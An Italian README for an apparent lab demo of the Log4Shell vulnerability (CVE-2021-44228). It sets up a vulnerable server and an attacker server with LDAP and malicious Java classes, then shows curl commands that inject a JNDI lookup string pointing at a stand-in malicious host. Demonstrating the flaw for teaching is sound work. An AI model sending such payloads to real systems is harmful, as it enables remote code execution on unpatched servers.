
Demo per mostrare come funziona la vulnerabilità Log4Shell / CVE-2021-44228
Questo progetto mira a dimostrare come funziona la vulnerabilità Log4Shell / CVE-2021-44228.
È sufficiente avere Docker installato. Idealmente si dispone di due macchine virtuali diverse. Una per il server vulnerabile e una per il server malintenzionato che ospiterà il codebase dannoso e un server LDAP.
Opzionalmente puoi avere Make e Docker Compose installati, ma non è necessario poiché questo repository contiene anche make.sh per saltare questi requisiti e usarli da un container Docker.
Se non l'hai già fatto, ecco i passaggi per installare Docker su una VM Debian. Puoi usare questi passaggi: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
Questo avvierà un server LDAP di base e un server Python di base per servire le classi Java dannose.
Devi fornire l'indirizzo IP o il nome di dominio in cui questi server saranno disponibili
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
oppure semplicemente
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
dove ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} è semplicemente codificato nell'URL
../make.sh stop
../make.sh logs
https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf